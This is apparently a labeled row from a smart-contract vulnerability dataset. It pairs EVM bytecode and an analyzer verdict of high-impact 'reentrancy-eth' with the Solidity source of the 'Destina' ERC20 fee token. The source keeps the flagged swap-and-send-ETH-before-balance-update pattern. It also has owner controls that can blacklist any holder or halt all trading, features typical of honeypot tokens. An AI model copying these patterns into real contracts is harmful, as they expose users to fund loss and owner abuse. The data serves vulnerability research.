65b6000546001600160a01b031633146109075760405162461bcd60e51b81526004016105fd90611c0e565b601855565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105fd90611c0e565b600893909355600a91909155600955600b55565b600061067f338484610c89565b6012546001600160a01b0316336001600160a01b0316148061098c57506013546001600160a01b0316336001600160a01b0316145b61099557600080fd5b60006109a0306107d0565b90506107cd816112bd565b6000546001600160a01b031633146109d55760405162461bcd60e51b81526004016105fd90611c0e565b60005b82811015610a465781600560008686858181106109f7576109f7611c43565b9050602002016020810190610a0c9190611abe565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3e81611c6f565b9150506109d8565b50505050565b6000546001600160a01b03163314610a765760405162461bcd60e51b81526004016105fd90611c0e565b601755565b6000546001600160a01b03163314610aa55760405162461bcd60e51b81526004016105fd90611c0e565b6001600160a01b038116610b0a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105fd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fd565b6001600160a01b038216610c285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ced5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fd565b6001600160a01b038216610d4f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fd565b60008111610db15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fd565b6000546001600160a01b03848116911614801590610ddd57506000546001600160a01b03838116911614155b156110be57601554600160a01b900460ff16610e76576000546001600160a01b03848116911614610e765760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fd565b601654811115610ec85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fd565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0a57506001600160a01b03821660009081526010602052604090205460ff16155b610f625760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105fd565b6015546001600160a01b03838116911614610fe75760175481610f84846107d0565b610f8e9190611c8a565b10610fe75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fd565b6000610ff2306107d0565b60185460165491925082101590821061100b5760165491505b8080156110225750601554600160a81b900460ff16155b801561103c57506015546001600160a01b03868116911614155b80156110515750601554600160b01b900460ff165b801561107657506001600160a01b03851660009081526005602052604090205460ff16155b801561109b57506001600160a01b03841660009081526005602052604090205460ff16155b156110bb576110a9826112bd565b4780156110b9576110b9476111ff565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110057506001600160a01b03831660009081526005602052604090205460ff165b8061113257506015546001600160a01b0385811691161480159061113257506015546001600160a01b03848116911614155b1561113f575060006111b9565b6015546001600160a01b03858116911614801561116a57506014546001600160a01b03848116911614155b1561117c57600854600c55600954600d555b6015546001600160a01b0384811691161480156111a757506014546001600160a01b03858116911614155b156111b957600a54600c55600b54600d555b610a4684848484611446565b600081848411156111e95760405162461bcd60e51b81526004016105fd91906119fc565b5060006111f68486611ca2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561066e573d6000803e3d6000fd5b60006006548211156112a05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fd565b60006112aa611474565b90506112b68382611497565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130557611305611c43565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135957600080fd5b505afa15801561136d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113919190611cb9565b816001815181106113a4576113a4611c43565b6001600160a01b0392831660209182029290920101526014546113ca9130911684610b65565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611403908590600090869030904290600401611cd6565b600060405180830381600087803b15801561141d57600080fd5b505af1158015611431573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611453576114536114d9565b61145e848484611507565b80610a4657610a46600e54600c55600f54600d55565b60008060006114816115fe565b90925090506114908282611497565b9250505090565b60006112b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163e565b600c541580156114e95750600d54155b156114f057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115198761166c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154b90876116c9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461157a908661170b565b6001600160a01b03891660009081526002602052604090205561159c8161176a565b6115a684836117b4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115eb91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116198282611497565b82101561163557505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361165f5760405162461bcd60e51b81526004016105fd91906119fc565b5060006111f68486611d47565b60008060008060008060008060006116898a600c54600d546117d8565b9250925092506000611699611474565b905060008060006116ac8e87878761182d565b919e509c509a509598509396509194505050505091939550919395565b60006112b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c5565b6000806117188385611c8a565b9050838110156112b65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fd565b6000611774611474565b90506000611782838361187d565b3060009081526002602052604090205490915061179f908261170b565b30600090815260026020526040902055505050565b6006546117c190836116c9565b6006556007546117d1908261170b565b6007555050565b60008080806117f260646117ec898961187d565b90611497565b9050600061180560646117ec8a8961187d565b9050600061181d826118178b866116c9565b906116c9565b9992985090965090945050505050565b600080808061183c888661187d565b9050600061184a888761187d565b90506000611858888861187d565b9050600061186a8261181786866116c9565b939b939a50919850919650505050505050565b60008261188c57506000610683565b60006118988385611d69565b9050826118a58583611d47565b146112b65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fd565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cd57600080fd5b803561193281611912565b919050565b6000602080838503121561194a57600080fd5b823567ffffffffffffffff8082111561196257600080fd5b818501915085601f83011261197657600080fd5b813581811115611988576119886118fc565b8060051b604051601f19603f830116810181811085821117156119ad576119ad6118fc565b6040529182528482019250838101850191888311156119cb57600080fd5b938501935b828510156119f0576119e185611927565b845293850193928501926119d0565b98975050505050505050565b600060208083528351808285015260005b81811015611a2957858101830151858201604001528201611a0d565b81811115611a3b576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a6457600080fd5b8235611a6f81611912565b946020939093013593505050565b600080600060608486031215611a9257600080fd5b8335611a9d81611912565b92506020840135611aad81611912565b929592945050506040919091013590565b600060208284031215611ad057600080fd5b81356112b681611912565b8035801515811461193257600080fd5b600060208284031215611afd57600080fd5b6112b682611adb565b600060208284031215611b1857600080fd5b5035919050565b60008060008060808587031215611b3557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6657600080fd5b833567ffffffffffffffff80821115611b7e57600080fd5b818601915086601f830112611b9257600080fd5b813581811115611ba157600080fd5b8760208260051b8501011115611bb657600080fd5b602092830195509350611bcc9186019050611adb565b90509250925092565b60008060408385031215611be857600080fd5b8235611bf381611912565b91506020830135611c0381611912565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c8357611c83611c59565b5060010190565b60008219821115611c9d57611c9d611c59565b500190565b600082821015611cb457611cb4611c59565b500390565b600060208284031215611ccb57600080fd5b81516112b681611912565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d265784516001600160a01b031683529383019391830191600101611d01565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d6457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d8357611d83611c59565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e444b22353fb3fb6407dcc289cbc7bcd04d0e172b122a74e2794a2cd8137879664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,898
0x528345428b83cef133af80233fc085674e6dd1e1
/** *Submitted for verification at Etherscan.io on 2022-04-19 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Destina is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Destina";// string private constant _symbol = "Destina";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 10;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 10;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x6F0443578c654007F81F66dc3fEFE215dD4cd4a9); address payable private _marketingAddress = payable(0x6F0443578c654007F81F66dc3fEFE215dD4cd4a9); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15000000 * 10**9; // uint256 public _maxSellTxAmount = 5000000 * 10**9; // uint256 public _maxBuyTxAmount = 15000000 * 10**9; // uint256 public _maxWalletSize = 30000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); event MaxBuyTxAmountUpdated(uint256 _maxBuyTxAmount); event MaxSellTxAmountUpdated(uint256 _maxSellTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } //block 0 ban since we're launching unverified if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee and max limit for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; require(amount <= _maxBuyTxAmount, "TOKEN: Max Buy Transaction Limit"); } //Set Fee and limit for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; require(amount <= _maxSellTxAmount, "TOKEN: Max Sell Transaction Limit"); } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 10, "Buy tax must be between 0% and 35%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 10, "Sell tax must be between 0% and 35%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmounts(uint256 maxBuyTxAmount, uint256 maxSellTxAmount) public onlyOwner { require(maxBuyTxAmount >= 5000000, "Buy Tx Limit must be high enough to not honeypot"); require(maxSellTxAmount >= 5000000, "Sell Tx Limit must be high enough to not honeypot"); _maxBuyTxAmount = maxBuyTxAmount * 10**9; _maxSellTxAmount = maxSellTxAmount * 10**9; _maxTxAmount = maxBuyTxAmount * 10**9; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize * 10**9; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101e65760003560e01c80638da5cb5b11610102578063c3c8cd8011610095578063dd62ed3e11610064578063dd62ed3e1461054d578063ea1644d514610593578063f2fde38b146105b3578063fe703730146105d357600080fd5b8063c3c8cd80146104ec578063c492f04614610501578063cf4be39414610521578063d00efb2f1461053757600080fd5b806398a5c315116100d157806398a5c3151461045c578063a2a957bb1461047c578063a9059cbb1461049c578063bfd79284146104bc57600080fd5b80638da5cb5b146104085780638f70ccf7146104265780638f9a55c01461044657806395d89b411461021457600080fd5b8063334773271161017a5780636fc3eaec116101495780636fc3eaec146103a857806370a08231146103bd578063715018a6146103dd5780637d1db4a5146103f257600080fd5b8063334773271461033257806349bd5a5e146103485780636b999053146103685780636d8aa8f81461038857600080fd5b806318160ddd116101b657806318160ddd146102bb57806323b872dd146102e05780632fd689e314610300578063313ce5671461031657600080fd5b8062b8cf2a146101f257806306fdde0314610214578063095ea7b3146102535780631694505e1461028357600080fd5b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021261020d366004611cbe565b6105f3565b005b34801561022057600080fd5b50604080518082018252600781526644657374696e6160c81b6020820152905161024a9190611d83565b60405180910390f35b34801561025f57600080fd5b5061027361026e366004611dd8565b610692565b604051901515815260200161024a565b34801561028f57600080fd5b506015546102a3906001600160a01b031681565b6040516001600160a01b03909116815260200161024a565b3480156102c757600080fd5b50670de0b6b3a76400005b60405190815260200161024a565b3480156102ec57600080fd5b506102736102fb366004611e04565b6106a9565b34801561030c57600080fd5b506102d2601b5481565b34801561032257600080fd5b506040516009815260200161024a565b34801561033e57600080fd5b506102d260195481565b34801561035457600080fd5b506016546102a3906001600160a01b031681565b34801561037457600080fd5b50610212610383366004611e45565b610712565b34801561039457600080fd5b506102126103a3366004611e72565b61075d565b3480156103b457600080fd5b506102126107a5565b3480156103c957600080fd5b506102d26103d8366004611e45565b6107f0565b3480156103e957600080fd5b50610212610812565b3480156103fe57600080fd5b506102d260175481565b34801561041457600080fd5b506000546001600160a01b03166102a3565b34801561043257600080fd5b50610212610441366004611e72565b610886565b34801561045257600080fd5b506102d2601a5481565b34801561046857600080fd5b50610212610477366004611e8d565b6108d2565b34801561048857600080fd5b50610212610497366004611ea6565b610901565b3480156104a857600080fd5b506102736104b7366004611dd8565b610ab7565b3480156104c857600080fd5b506102736104d7366004611e45565b60116020526000908152604090205460ff1681565b3480156104f857600080fd5b50610212610ac4565b34801561050d57600080fd5b5061021261051c366004611ed8565b610b18565b34801561052d57600080fd5b506102d260185481565b34801561054357600080fd5b506102d260085481565b34801561055957600080fd5b506102d2610568366004611f5c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059f57600080fd5b506102126105ae366004611e8d565b610bb9565b3480156105bf57600080fd5b506102126105ce366004611e45565b610bf7565b3480156105df57600080fd5b506102126105ee366004611f95565b610ce1565b6000546001600160a01b031633146106265760405162461bcd60e51b815260040161061d90611fb7565b60405180910390fd5b60005b815181101561068e5760016011600084848151811061064a5761064a611fec565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068681612018565b915050610629565b5050565b600061069f338484610e1b565b5060015b92915050565b60006106b6848484610f3f565b610708843361070385604051806060016040528060288152602001612132602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061154c565b610e1b565b5060019392505050565b6000546001600160a01b0316331461073c5760405162461bcd60e51b815260040161061d90611fb7565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161061d90611fb7565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107da57506014546001600160a01b0316336001600160a01b0316145b6107e357600080fd5b476107ed81611586565b50565b6001600160a01b0381166000908152600260205260408120546106a3906115c0565b6000546001600160a01b0316331461083c5760405162461bcd60e51b815260040161061d90611fb7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b05760405162461bcd60e51b815260040161061d90611fb7565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161061d90611fb7565b601b55565b6000546001600160a01b0316331461092b5760405162461bcd60e51b815260040161061d90611fb7565b600284111561098a5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b606482015260840161061d565b600a8211156109e65760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642033604482015261352560f01b606482015260840161061d565b6002831115610a465760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b606482015260840161061d565b600a811115610aa35760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526233352560e81b606482015260840161061d565b600993909355600b91909155600a55600c55565b600061069f338484610f3f565b6013546001600160a01b0316336001600160a01b03161480610af957506014546001600160a01b0316336001600160a01b0316145b610b0257600080fd5b6000610b0d306107f0565b90506107ed81611644565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161061d90611fb7565b60005b82811015610bb3578160056000868685818110610b6457610b64611fec565b9050602002016020810190610b799190611e45565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bab81612018565b915050610b45565b50505050565b6000546001600160a01b03163314610be35760405162461bcd60e51b815260040161061d90611fb7565b610bf181633b9aca00612033565b601a5550565b6000546001600160a01b03163314610c215760405162461bcd60e51b815260040161061d90611fb7565b6001600160a01b038116610c865760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d0b5760405162461bcd60e51b815260040161061d90611fb7565b624c4b40821015610d775760405162461bcd60e51b815260206004820152603060248201527f427579205478204c696d6974206d757374206265206869676820656e6f75676860448201526f081d1bc81b9bdd081a1bdb995e5c1bdd60821b606482015260840161061d565b624c4b40811015610de45760405162461bcd60e51b815260206004820152603160248201527f53656c6c205478204c696d6974206d757374206265206869676820656e6f75676044820152701a081d1bc81b9bdd081a1bdb995e5c1bdd607a1b606482015260840161061d565b610df282633b9aca00612033565b601955610e0381633b9aca00612033565b601855610e1482633b9aca00612033565b6017555050565b6001600160a01b038316610e7d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061d565b6001600160a01b038216610ede5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061d565b6001600160a01b0382166110055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061d565b600081116110675760405162461bcd60e51b81526020600482